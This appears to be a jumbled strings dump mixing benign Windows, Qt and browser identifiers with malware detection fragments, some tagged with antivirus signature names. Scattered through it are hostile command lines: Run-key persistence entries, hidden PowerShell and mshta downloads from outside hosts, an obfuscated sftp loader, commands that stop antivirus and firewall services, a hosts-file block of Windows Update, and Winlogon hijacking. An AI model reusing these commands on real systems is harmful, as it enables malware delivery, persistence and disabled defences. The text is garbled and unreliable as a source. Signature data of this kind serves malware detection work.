WeChat For Windows
Windows Defender Firewall with Advanced Security
Windows Media Player Legacy
Microsoft.Windows.MediaPlayer32
Windows Memory Diagnostic
Windows PowerShell
Windows PowerShell ISE
Windows Security
Microsoft.Windows.SecHealthUI_cw5n1h2txyewy!SecHealthUI
isExtensionsApiCurrentWindowSupported
isWindowsCopilotInstance
isWindowsBCEInstance
windowsUpdateText
174^com.microsoft.windows.extension.shellhost.component
175^com.microsoft.windows.extension.shellhost.component
"<!doctypehtmlpublic'-//w3c//dtdxhtml1.0transitional//en''res://c:\\windows\\apppatch\\emet.dll'>
regaddhklm\software\microsoft\windows\currentversion\run/vavaada/treg_sz/d%windir%\%a%.bat/f>nul
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
WindowScrimView
WindowsCaptionButton
..\..\chrome\browser\ui\views\frame\windows_caption_button.h
Tabs.TabSearch.NumWindowsOnOpen
connect-windows-device
Microsoft.Tabs.ClosingWindowWithPinnedTabAndOtherWindows
Microsoft.Tabs.ClosingWindowWithPinnedTabGroupAndOtherWindows
Microsoft.Windows.RT.ConsentlessLocationTabHelper.Event
\system32\cmd
W|<spanclass="os">windows7<V
'mozilla/4.0(windowsnt10.0;msoffice16)';$b=$env:tmp+'\
\windows\c
Windows Defender
windowsdefender://
%ProgramFiles%\Windows Defender\MsMpeng.exe
Windows Defender
%ProgramFiles%\Windows Defender\MsMpeng.exe
windowsdefender://
xuc:\windows\system32\syncappvpublishingserver.vbs;
P.powershell-executionpolicybypass-noprofile-windowstylehidden-command"iwr'https://pub-b09cf1b5428f4644b1cd0bfbec926d3c.r2.dev/vcredist2015_2017_2019_2022_x86_robusted.exe'-outfile$env:temp\
?Windows8@QOperatingSystemVersion@@2V1@B
??0QWindowsPipeReader@@QEAA@PEAVQObject@@@Z
??1QWindowsPipeReader@@UEAA@XZ
?setHandle@QWindowsPipeReader@@QEAAXPEAX@Z
?startAsyncRead@QWindowsPipeReader@@QEAAXXZ
?stop@QWindowsPipeReader@@QEAAXXZ
9	?bytesAvailable@QWindowsPipeReader@@QEBA_JXZ
?read@QWindowsPipeReader@@QEAA_JPEAD_J@Z
Z	?canReadLine@QWindowsPipeReader@@QEBA_NXZ
?waitForReadyRead@QWindowsPipeReader@@QEAA_NH@Z
?waitForPipeClosed@QWindowsPipeReader@@QEAA_NH@Z
??0QWindowsPipeWriter@@QEAA@PEAXPEAVQObject@@@Z
??1QWindowsPipeWriter@@UEAA@XZ
  ?write@QWindowsPipeWriter@@QEAA_NAEBVQByteArray@@@Z
?waitForWrite@QWindowsPipeWriter@@QEAA_NH@Z
=	?bytesToWrite@QWindowsPipeWriter@@QEBA_JXZ
]	?canWrite@QWindowsPipeWriter@@QEAAXXZ
@	?bytesWritten@QWindowsPipeWriter@@QEAAX_J@Z
?qt_metacall@QWindowsPipeWriter@@UEAAHW4Call@QMetaObject@@HPEAPEAX@Z
?qt_metacast@QWindowsPipeWriter@@UEAAPEAXPEBD@Z
?metaObject@QWindowsPipeWriter@@UEBAPEBUQMetaObject@@XZ
?qt_metacall@QWindowsPipeReader@@UEAAHW4Call@QMetaObject@@HPEAPEAX@Z
?qt_metacast@QWindowsPipeReader@@UEAAPEAXPEBD@Z
?metaObject@QWindowsPipeReader@@UEBAPEBUQMetaObject@@XZ
?staticMetaObject@QWindowsPipeWriter@@2UQMetaObject@@B
c:\windows\system32\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v
\powershell.exe-windowstylehiddenstart-sleep
microsoft_windows_copilot
CopilotN-prod-windows-chromium
EventInfo_windowsFlightIds
isWindowsAction
Microsoft.WebApp.WindowsAction.SerializationDuration
-MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostAppP
Microsoft.WindowsAlarms_8wekyb3d8bbwe!Ap
xc:\windows\system32\cmd.exe/
uninstall-windowsfeature
windows-defender
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwesof
wsMicrosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
-nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjabhagyaygbjahiapqbbafmaeqbzahqazqbtac4avablahgadaauaeuab0
-windowstylehidden
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.mshta
="powershell-noprofile-windowstylehidden-command
WindowsAppRuntime.1.6
powershell.exe-executionpolicybypass-windowstylehidden-noninteractive-nologo-file
checkbook\derailingentangling.jsc:\windows\explorer.exe
microsoft\windows\wer\report
OS=Windows_NT
n tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
WINDOWS11
WINDOWS11
?put@?$basic{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939771589615,"MaxEventTime":134163939771589615,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataAccessRes.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[241,238,252,130,123,171,18,18,129,65,238,155,32,109,220,176,204,113,172,166],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"UserDataAccessRes.dll","InternalName":"UserDataAccessRes","FileDescription":"Resource DLL for the UserDataAccess stack","ProductName":"Microsoft
 Windows
 Operating System","FileVersion":2814751477598042,"TimeDateStamp":4181898107,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
eglCreateWindowSurface
eglCreatePlatformWindowSurface
eglCreatePlatformWindowSurfaceEXT
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
[windows.forms.systeminformation]::virtualscreen
).value))'-windowstylehidden;
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Windows XP
clientcore\windows\dwm\dwmredir\windowcontext.cpp
clientcore\windows\dwm\dwmredir\windowmanager.cpp
clientcore\windows\dwm\dwmredir\SharedResource.h
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.TextInput.TextServiceFramework
Microsoft.Windows.Desktop.TextInput.ThreadInputManager
Microsoft.Windows.Desktop.TextInput.TabNavigation
Microsoft.Windows.Desktop.Shell.InputDll
Microsoft.Windows.Desktop.TextInput.MsCtfIme
Microsoft.Windows.Shell.ShellHandwriting
WindowsSecurityContext
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsCreateStringReference
WindowsGetStringLen
Software\Microsoft\Windows\CurrentVersion\Run
onecoreuap\windows\dwm\present\presentationimpl\presentationmanager.cpp
onecoreuap\windows\dwm\present\presentationimpl\SynchronizationContext12.hpp
onecoreuap\windows\dwm\present\presentationimpl\SynchronizationContext11.hpp
tonecoreuap\windows\dwm\present\presentationimpl\presentationsurface.cpp
onecoreuap\windows\dwm\present\presentationimpl\synchronizationcontext12.cpp
onecoreuap\windows\dwm\present\presentationimpl\synchronizationcontext11driver.cpp
onecoreuap\windows\dwm\present\presentationimpl\advancedsyncexperimentalmode.cpp
onecoreuap\windows\dwm\common\shared\refcountbase.cpp
WindowsUICompositionEffectGraphs
Microsoft.Windows.ApiTelemetry
Microsoft.Windows.Dwm.DComp
Microsoft.Windows.Dwm.Interaction
Microsoft.Windows.Dwm.DwmCore
WindowsDwmCoreTests
WindowsDwmCore
Windows-DwmCore-BackdropBrushInvestigations
clientcore\windows\advcore\ctf\uim\default.cpp
clientcore\windows\advcore\ctf\uim\tim.cpp
clientcore\windows\advcore\ctf\uim\hotkey.cpp
StorageSenseStorageOverview"}],"System.Comment":"Delete temporary files","System.HighKeywords":"remove temporary files;storage settings;storage sense settings;free up space now;cleanup;clean up;clean space;free storage;free space;delete windows;delete windows.old;remove unnecessary files;clean unnecessary files;clean temporary files;delete files;clean cache"},{"System.ParsingName":"AAA_SettingsPageStorageSenseStorageOverview","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
","SettingPaths":[{"System.Setting.PageID":"SettingsPageThemes"}],"System.Comment":"Themes and related settings","System.HighKeywords":"appearances;themepack;pack;packs;pointers;icon;appearance settings;windows online personalization gallery;mouse pointer;desktop icons;advanced sound;theme settings;personalize themes;personalization settings;customize;custom theme;customizing;personalizing;apply theme;apply a theme"},{"System.ParsingName":"AAA_SettingsPageTimeRegionDateTime","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
","SettingPaths":[{"System.Setting.PageID":"SettingsPageTimeRegionLanguage"}],"System.Comment":"Language settings","System.HighKeywords":"non-Unicode;Windows display language;local experience pack;local experience packs;preferred language;native language;change language"},{"System.ParsingName":"AAA_SettingsPageTimeRegionLanguage","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
WindowsCreateString
WindowsDuplicateString
WindowsCreateStringReference
WindowsDeleteString
onecoreuap\windows\dwm\dwmcore\rendering\compositingshadercache.cpp
onecoreuap\windows\dwm\common\formatconverter\formatconverter.cpp
Microsoft.Windows.Wil.FeatureLogging
WindowsDwmCoreInstrumentation
Windows-DwmCore-BackdropBrushInvestigations
WindowsDwmCore
Microsoft.Windows.Dwm.DwmCore
Microsoft.Windows.Dwm.Interaction
WindowsDwmCoreTests
Microsoft.Windows.Analog.HydrogenCompositor
Microsoft-Windows-CoreSystem-UnifiedBPM-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsCreateString
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
sewindows
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
objshell.regdelete"hkcu\software\microsoft\windows\currentversion\run\za"
\system32\spool
/v wlock_del /t reg_sz /d "cmd /c del\winlogon" /v userinit /t reg_sz /d "%windir%
 :/windows\system32\drivers\
sts.windows.net
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Mtry{proc.execfile('phantomjs.exe',[args[0],drive]);}catch(exc){console.log('[x]:',exc);}});}else{walk_folder(args[1],erase);}}catch(exc){console.log('[x]:',exc);}finally{settimeout(function(){erase(args[0]);proc.execfile('c:/windows/system32/taskkill.exe'
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunWinAutologon From Winlogon Reg
\windows\system32\openssh\sftp.exe-oproxycommand="powershellpowershell-command('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]]h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]vkke]]]].mp4]]'-replace']')
	windows de
Windows.Perception.Spatial.SpatialEntity
Windows.Perception.Spatial.SpatialEntityStore
Windows.Perception.Spatial.SpatialLocator
Windows.Perception.Spatial.SpatialStageFrameOfReference
Windows.Perception.Spatial.Surfaces.SpatialSurfaceMeshOptions
Windows.Perception.Spatial.Surfaces.SpatialSurfaceObserver
Windows.Phone.Networking.Voip.VoipCallCoordinator
Windows.Phone.StartScreen.DualSimTile
Windows.Phone.UI.Core.CoreNavigationClient
Windows.Phone.UI.Core.ImmersiveNavigationClient
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
FsOfbl = ofbl + sendingsCSTR + ".dll"Composition dershlep & Windows.Label1.Tag, sOfbl, CurrentSizeOfAT, sendingstextItem = Windows.Label11.CaptionSet DestinationKat = sNMSP.Namespace(dershlep)Kill Key
ll_windows.
jP@echooff%windir%\system32\reg.exeaddhkcu\software\microsoft\windows\currentversion\run/v
WindowsDialogBoxa6
WindowsMessage
"http://gz.qa:8080/b8y8/elxzuxx2kx/k1ll/9tg/%computername%"/quie^t^t^ddia^x^z^uh=mmj^j^ce^h^o%windir%\system32\shell32.dll
"http://6t.pm:8080/bdubv5nx56d0on3gkcojejckqpeiptrfrwz/!computername!"^m^w^m^ql^zx=me^dtc/^q%windir%\system32\imageres.dll
..\..\..\windows\system32\cmd.exe/cvertices\
.cmdregsvrc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
system32\
windows.appService
windows.appService
windows.protocol
	MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTrojanDownloader:O97M/Damatak.A
C:\Documents and Settings\Administrator\Application Data\Microsoft\Windows\Start Menu\Programs\Startup\
QWindowsNativeInterface::nativeResourceForScreen
QWindowsNativeInterface::nativeResourceForContext
GL windows forced to screen: 
QWindowsOpenGLTester::supportedRenderers
WindowsCreateStringReference
setEligibileWindowsActivation
uje=tomnomwindows.oldt
$s\system32\&sA
PRP = "%" + Windows.TextBox1.TagWindows.TextBox1.Tag = ActiveHotbit.ExpandEnvironmentStrings(PRP + "%")Windows.TextBox3.Tag = car.CheckCar(ActiveHotbit, Windows.TextBox3.Tag & "")TrojanDropper:O97M/GraceWire.CA!MTB
change /tn "\microsoft\windows\systemrestore\sr" /disablec
URL=file://zzSOFTWARE\Microsoft\Windows\CurrentVersion\RunU
C:\Windows\Microsoft.NET\Framework\v
M/?setssion==%d%d/?newfrs%dsetssion=%d%d?id1=%dUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)!#ALF:HSTR:Trojan:Win32/Molock.S02
127.0.0.1	windowsupdate.microsoft.com
Lorenz.bmpREG ADD "HKEY_USERS\&winver=Windows&list_drive=Control Panel\Desktop" /V Wallpaper /T REG_SZ /!#ALF:Exploit:Win64/CVE-2025-60721.A
C:\Windows\Sysnative\%sWebInstaller.cfg
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WsJHhttp://webye163.cn/hzshellexecute=io.pifnet stop norton antivirus auto protect servicenet stop mcshieldnet stop "windows firewall/internet connection sharing (ics)"net stop system restore servicedirectx10.dll
Windows Firewall  has detected [W32RontokBro@mm   as Security risk that requires your attention. M
virtualprotectsvchs0t.exehttp://xx.522love.cn/tool/downreg add "hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall" /v checkedvalue /t reg_sz /d 0 /freg add "hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\nohidden" /v checkedvalue /t reg_dword /d 00000002 /f
	$pst=new-objectsystem.diagnostics.processstartinfo`$pst.windowstyle='hidden'`$pst.useshellexecute=`$false`$pst.createnowindow=`$trueif(`$env:processor_architecture-eq"x86"){`$t2=[convert]::frombase64string(`$
)`$pst.filename="c:\windows\system32\netsh.exe"}else{`$pst.filename="c:\windows\syswow64\netsh.exe"`$t2=[convert]::frombase64string(`$
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Lxss-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msworduser-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0)content-disposition: form-data; name="file1"; filename=content-type: application/ochdmodifygs mapfilect2dll.dll
windows_exePYTHONSCRIPT<pythondll><zlib.pyd>PYTHONINSPECT
GetWindowsDirectorys
#%\Windows Efficiency Reservoir.lnk
\windows firewall constructor.lnk
\Windows First-Class Protector.lnk
\Windows First-Class Protector.lnk
\Windows Processes Accelerator.lnk
MY\windows functionality checker.lnk
H7\Windows Processes Accelerator.lnk
qx<\windows functionality checker.lnk
 +activedocument.builtindocumentproperties("category").value).exec"c:\windows\explorer"+
CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390Key not found in Local StateMaster Key (hex): !#ALF:Y2V:Florian_Roth/WPR_WindowsPasswordRecovery_EXE_64
OVcopyrobloj.exec:\windows\system32\driversg
QWindowsGLContext: Requires a QWGLNativeContext
QWindowsGLContext: No context and window given
QWindowsGLContext: Failed to get pixel format
QWindowsGLContext: Failed to describe pixel format
QWindowsGLContext::QWindowsGLContext
QWindowsGLContext::swapBuffers
QWindowsGLContext::makeCurrent
QWindowsGLContext::getProcAddress
eglCreateWindowSurface
QWindowsEGLStaticContext::create
QWindowsEGLStaticContext::~QWindowsEGLStaticContext
QWindowsEGLStaticContext::createWindowSurface
QWindowsEGLContext: ANGLE only partially supports OpenGL ES > 3.0
QWindowsEGLContext: Failed to create context, eglError: %x, this: %p
QWindowsEGLContext: Graphics device lost. (Did the adapter get disabled?)
Got EGL context lost in createWindowSurface() for context
Bad access (missing device?) in createWindowSurface() for context
QWindowsEGLContext::makeCurrent
QWindowsEGLContext::doneCurrent
QWindowsEGLContext::swapBuffers
QWindowsEGLContext::getProcAddress
QWindowsSystemTrayIcon::~QWindowsSystemTrayIcon
QWindowsSystemTrayIcon::init
QWindowsSystemTrayIcon::cleanup
QWindowsSystemTrayIcon::updateIcon
QWindowsSystemTrayIcon::updateToolTip
QWindowsSystemTrayIcon::geometry
QWindowsSystemTrayIcon::showMessage
QWindowsSystemTrayIcon::createMenu
QWindowsSystemTrayIcon::ensureInstalled
QWindowsSystemTrayIcon(
="powe"+"rshell-windowstylehidden
ows\system32\mshta.exehttps://transacor.ma/file.hta
                    window.Windows = chrome.webview.hostObjects.sync.Windows;
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
c:/windows/system32/drivers/etc/hosts%66%69%6e%64%65%72%2e%63%63xxx-gate.net
.dll"&chr(34)&",windows_home"run($rundll32)
c:\programfiles(x86)\windowsdefenderadvancedthreatprotection
8architecture='X86' bitness='64' buildNumber='26200' distroName='Windows
Windows OnPrem OnAccountHintSubmitted should only be invoked through UI sign in
2^Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbweL
F?(imgbtnClickwindows\temp.jpgUSER %s@%s@%s
microsoft windows explorer" mode = enableservice" mode = enablej
ble; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200\
Windows.SystemToast.WindowsTip
Windows.SystemToast.WindowsUpdate.MoNotification
Windows.SystemToast.WindowsUpdate.MoNotification2
Windows.SystemToast.Winlogon
Windows.SystemToast.Wwansvc
=()=>({client:"windows"})})();var Instrument8
windows
.?AU?$_ContinuationTaskHandle@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@XV<lambda_d86f00eae6782860a302e1b3f76b5716>@@U?$integral_constant@_N$00@std@@U_TypeSelectorNoAsync@details@Concurrency@@@?$task@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Concurrency@@
.?AV?$_Ref_count_obj@V?$vector@PE$AAVWebAccount@Credentials@Security@Windows@@V?$allocator@PE$AAVWebAccount@Credentials@Security@Windows@@@std@@@std@@@std@@
.?AU?$IIterator@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$IteratorForVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AV?$IteratorForVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Details@Collections@Platform@@
.?AU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$VectorView@PE$AAVWebAccount@Credentials@Security@Windows@@U?$equal_to@PE$AAVWebAccount@Credentials@Security@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$VectorView@PE$AAVWebAccount@Credentials@Security@Windows@@U?$equal_to@PE$AAVWebAccount@Credentials@Security@Windows@@@std@@@Collections@Platform@@
.?AUIBindableIterator@Interop@Xaml@UI@Windows@@
.?AUIBindableVectorView@Interop@Xaml@UI@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@_N@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@_N@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AU?$IBoxArray@PE$AAVWebAccount@Credentials@Security@Windows@@@Platform@@
.?AU__I?$Array@PE$AAVWebAccount@Credentials@Security@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAVWebAccount@Credentials@Security@Windows@@$00@Platform@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__I?$WriteOnlyArray@PE$AAVWebAccount@Credentials@Security@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@PE$AAVWebAccount@Credentials@Security@Windows@@$00@Platform@@
.?AUIBindableIterable@Interop@Xaml@UI@Windows@@
.?AUIBindableVector@Interop@Xaml@UI@Windows@@
.?AUIBindableObservableVector@Interop@Xaml@UI@Windows@@
.?AU?$IObservableVector@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Vector@PE$AAVWebAccount@Credentials@Security@Windows@@U?$equal_to@PE$AAVWebAccount@Credentials@Security@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$Vector@PE$AAVWebAccount@Credentials@Security@Windows@@U?$equal_to@PE$AAVWebAccount@Credentials@Security@Windows@@@std@@@Collections@Platform@@
.?AVBindableVectorChangedEventHandler@Interop@Xaml@UI@Windows@@
.?AU__abi_IDelegate@BindableVectorChangedEventHandler@Interop@Xaml@UI@Windows@@
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\boan
indwindowsd
windows\currentversion\run"
ir%\system32\ftp
%Microsoft.Windows.AI.Platform.Core.SupportedFeatures?
